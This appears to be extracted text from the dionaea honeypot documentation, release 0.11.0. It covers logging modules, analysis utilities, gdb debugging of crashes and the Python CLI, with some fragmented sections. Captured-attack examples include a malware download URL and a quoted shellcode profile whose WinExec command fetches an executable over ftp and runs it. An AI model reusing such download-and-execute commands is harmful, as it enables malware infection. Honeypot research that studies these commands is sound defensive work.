downloads specify where to store downloaded malware. bistreams specify where to store bi-directional streams, these
are pretty useful when debugging, as they allow to replay an attack on ip-level, without messing with pcap&tcpreplay,
which never worked for me. submit specifies where to send files to via http or ftp, you can define a new section within
submit if you want to add your own service. listen sets the addresses dionaea will listen to. The default is all addresses
it can find, this mode is call getifaddrs, but you can set it to manual and specify a single address if you want to limit it.
modules is the most powerfull section, as it specifies the modules to load, and the options for each module.
21.2.1 logsql
This section controls the logging to the sqlite database. logsql does not work when chrooting - python makes the path
absolute and fails for requests after chroot().
logsql requires the directory where the logsql.sqlite file resides to be writeable by the user, as well as the logsql.sqlite
file itself. So, if you drop user privs, make sure the user you drop to is allowed to read/write the file and the directory.
chown MYUSER:MYGROUP /opt/dionaea/var/dionaea -R
To query the logsql database, I recommend looking at the readlogsqltree.py <#readlogsqltree> script, for visualisation
the gnuplotsql <#gnuplotsql> script.
The blog on logsql:
• 2009-11-06 dionaea sql logging
• 2009-12-08 post it yourself
• 2009-12-12 sqlite performance
• 2009-12-14 virustotal fun
• 2009-12-15 paris mission pack avs
• 2010-06-06 data visualisation
21.2.2 logxmpp
This section controls the logging to xmpp services. If you want to use logxmpp, make sure to enable logxmpp in the
ihandler section. Using logxmpp allows you to share your new collected files with other sensors anonymously.
The blog on logxmpp:
• 2010-02-10 xmpp backend
• 2010-05-12 xmpp take #2
• 2010-05-15 xmpp take #3
pg_backend <#pg_backend> can be used as a backend for xmpp logging sensors.
21.2.3 p0f
Not enabled by default, but recommend: the p0f service, enable by uncommenting p0f in the ihandlers section of the
python modules section, and start p0f as suggested in the config. It costs nothing, and gives some pretty cool, even if
outdated, informations about the attackers operating system, and you can look them up from the sqlite database, even
the rejected connections. If you face problems, here are some hints.
21.2.4 ihandlers
ihandlers section is used to specify which ihandlers get started by ihandlers.py . You do not want to miss p0f and
logsql.
21.2.5 services
21.2. modules 87
dionaea Documentation, Release 0.11.0
Utils
Dionaea ships with some utils, as these utils are written in python and rely on the python3 interpreter dionaea requires
to operate, this software can be found in modules/python/utils.
readlogsqltree <#readlogsqltree> - modules/python/readlogsqltree.py
readlogsqltree is a python3 script which queries the logsql sqlite database for attacks, and prints out all related infor-
mation for every attack. This is an example for an attack, you get the vulnerability exploited, the time, the attacker,
information about the shellcode, the file offered for download, and even the virustotal report for the file.
2010-10-07 20:37:27
connection 483256 smbd tcp accept 10.0.1.11:445 <- 93.177.176.190:47650 (483256
˓→None)
89
dionaea Documentation, Release 0.11.0
offer: http://208.53.183.158/m.exe
download: 3eab379ddac7d80d3e38399fd273ddd4 http://208.53.183.158/m.exe
virustotal 2010-10-07 04:59:07 5/38 (13%) http://www.virustotal.com/file-scan/
˓→report.html?id=265e39edcba9d9004451601544e625f2d3d04f837d0aaf1f8464cb2c819c1939-
˓→1286420347
To create such report for your own honeypots activities for the last 24 hours run:
./readlogsqltree.py -t $(date ‘+%s’)-24*3600 /opt/dionaea/var/dionaea/logsql.sqlite
gnuplotsql <#gnuplotsql> - modules/python/gnuplotsql.py
gnuplotsql is a very slow python3 script which runs some queries on the logsql <#logsql> sqlite database and creates
graphs with gnuplot of the data, stores them on disk and creates an index of the data. The images are per protocol
and look like this: Overview for dionaea smbd. Here <gnuplotsql> is how the whole thing looks like. To create such
images of your own data, run:
./gnuplotsql.py -d /opt/dionaea/var/dionaea/logsql.sqlite -p smbd -p epmapper -p mssqld -p httpd -p ftpd
The blog got something on gnuplotsql as well:
• 2010-12-05 sudden death <http://carnivore.it/2010/12/05/sudden_death>
• 2010-10-01 Infosanity’s Blog: gnuplotsql.py <http://blog.infosanity.co.uk/2010/10/01/gnuplotsql-py/>
• 2010-09-19 gnuplotsql <http://carnivore.it/2010/09/19/gnuplotsql>
pg_backend <#pg_backend> - modules/python/xmpp/pg_backend.py
pg_backend is the backend for logxmpp <#logxmpp>, currently it is a python2.x script which uses pyxmpp to access
the xmpp service. It parses the messages received and can store the events in a postgres database and the received files
on disk. pg_backend requires an xmpp account. /without db/
./pg_backend.py -U [email protected] -P XMPPPASS -M dionaea.sensors.carnivore.it -C anon-files -C
anon-events -f /tmp/
/with db/ create database
psql . . .
start backend
./pg_backend.py -U [email protected] -P XMPPPASS -M dionaea.sensors.carnivore.it -C anon-files -C
anon-events -s DBHOST -u DBUSER -d xmpp -p DBPASS -f /tmp/
Segfault
In case you experience a segfault, you will see something like this:
This is the end. This software just had a segmentation fault. The bug you encountered may even be exploitable. If you
want to assist in fixing the bug, please send the backtrace below to [email protected]. You can create better
backtraces with gdb, for more information visit http://dionaea.carnivore.it/#segfault Once you read this message, your
tty may be broken, simply type reset, so it will come to life again:
/opt/dionaea/bin/dionaea(sigsegv_backtrace_cb+0x20)[0x805c11e]
[0x70d420]
/opt/dionaea/lib/libemu/libemu.so.2(emu_env_w32_eip_check+0x94)[0x186974]
/opt/dionaea/lib/dionaea/emu.so(run+0x39)[0x89cced]
/opt/dionaea/lib/dionaea/emu.so(profile+0xbb)[0x89db88]
/opt/dionaea/lib/dionaea/emu.so(proc_emu_on_io_in+0x1e1)[0x89bfc5]
/opt/dionaea/bin/dionaea(recurse_io_process+0x31)[0x805df4a]
/opt/dionaea/bin/dionaea(processors_io_in_thread+0x85)[0x805e08d]
/opt/dionaea/bin/dionaea(threadpool_wrapper+0x2e)[0x805c99a]
/opt/dionaea/lib/libglib-2.0.so.0[0xaa9498]
/opt/dionaea/lib/libglib-2.0.so.0[0xaa7a2f]
/lib/libpthread.so.0[0xd8973b]
/lib/libc.so.6(clone+0x5e)[0x2b3cfe]
While the backtrace itself gives an idea what might be wrong, it does not fix the problem. To fix the problem, the
logfiles usually help, as dionaea is very verbose by default. Below are some hints how to get started with debugging,
click here <#support> for assistance.
debugging
91
dionaea Documentation, Release 0.11.0
Valgrind
gdb
logfile assisted
For the above example, I was able to scrape the shellcode from the logfile, and run it in libemu, without involving
dionaea at all, reducing the problem:
gdb /opt/dionaea/bin/sctest
(gdb) run -S -s 10000000 -g < sc.bin
Starting program: /media/sda4/opt64/dionaea/bin/sctest -S -s 10000000 -g < sc.bin
(gdb) bt full
#0 env_w32_hook_GetProcAddress (env=0x629a30, hook=<value optimized out>) at
˓→environment/win32/env_w32_dll_export_kernel32_hooks.c:545
dll = 0x6366f0
ehi = <value optimized out>
hook = <value optimized out>
c = 0x611180
mem = <value optimized out>
(continues on next page)
93
dionaea Documentation, Release 0.11.0
No locals.
#5 0x0805ea01 in processors_io_in_thread (data=0x8864b58, userdata=0x87dc388) at
˓→processor.c:197
Again, it was a bug in libemu, an unbreakable loop consuming all memory. To reproduce, we have to dump the tested
buffer, therefore we need the buffers address and size. Luckily the size is noted in frame #2 as 8196 and and the data
address is a parameter which got not optimized out for frame #2:
dump binary memory /tmp/sc.bin 0xb411c698 0xb411e89c
Sometimes, there is something wrong with the python scripts, but gdb does not provide any useful output:
bt full
#12 0xb765f12d in PyEval_EvalFrameEx (f=0x825998c, throwflag=0) at Python/ceval.c:2267
stack_pointer = (PyObject **) 0x8259af0
(continues on next page)
95
dionaea Documentation, Release 0.11.0
Luckily python3 ships with some gdb macros, which assist in dealing with this mess. You can grab them over here
<http://svn.python.org/view/python/tags/r311/Misc/gdbinit?view=markup>, place them to ~/.gdbinit, where ~ is the
homedirectory of the user dionaea runs as. If you get /warning: not using untrusted file “/home/user/.gdbinit”/ you
are running gdb via sudo, and the file /home/user/.gdbinit has to be owned by root. If you are running as root, and
you get /Program received signal SIGTTOU, Stopped (tty output)./, run stty -nostop before running gdb, reattach the
process with fg, close gdb properly, and start over.
Once you got the macros loaded properly at gdb startup, set a breakpoint on PyEval_EvalFrameEx after dionaea loaded
everything:
break PyEval_EvalFrameEx
up
pyframev
97
dionaea Documentation, Release 0.11.0
dionaea embedds a python interpreter, and can offer a python cli therefore too. The python cli is blocking, if you start
entering a command, the whole process will wait for you to finish it, and not accept any new connections. You can use
the python cli to interact with dionaea, which is very useful for development and debugging.
25.1 Configuration
If you use the cli often, you can make it behave like a real shell, including history and completition.:
Sometimes it helps to trigger a download, without waiting for an attack. Very useful if you want to verify permissions
are correct when switching the user, or making sure a submission to a 3rd party works correctly. You can trigger
downloads for all major protocols.
99
dionaea Documentation, Release 0.11.0
25.4 ftp
25.5 tftp
25.6 http
As the http download is not done in python, we do not use the download facility directly, but create an incident, which
will trigger the download:
25.7 incidents
25.8 dumping
a = idumper('*')
˓→": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0", "dwY": "0",
˓→"ssms.exe", "", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0
˓→", "hStdInput": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0
˓→", "dwY": "0", "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0",
˓→": "4714", "hThread": "4712"}], "return": "-1"}, {"call": "ExitThread", "args": ["0
25.11 URLDownloadToFile
˓→ "0"], "return": "0"}, {"call": "WinExec", "args": ["47.scr", "895"], "return": "32
˓→"}]'
This profile uses WinExec to create a command file for windows ftp client, downloads a file, and executes the file.:
p='[{"call": "WinExec", "args": ["cmd /c echo open welovewarez.com 21 > i&echo user
˓→wat l0l1 >> i &echo get SCUM.EXE >> i &echo quit >> i &ftp -n -s:i &SCUM.EXE\\r\\n",
• genindex
• modindex
• search
103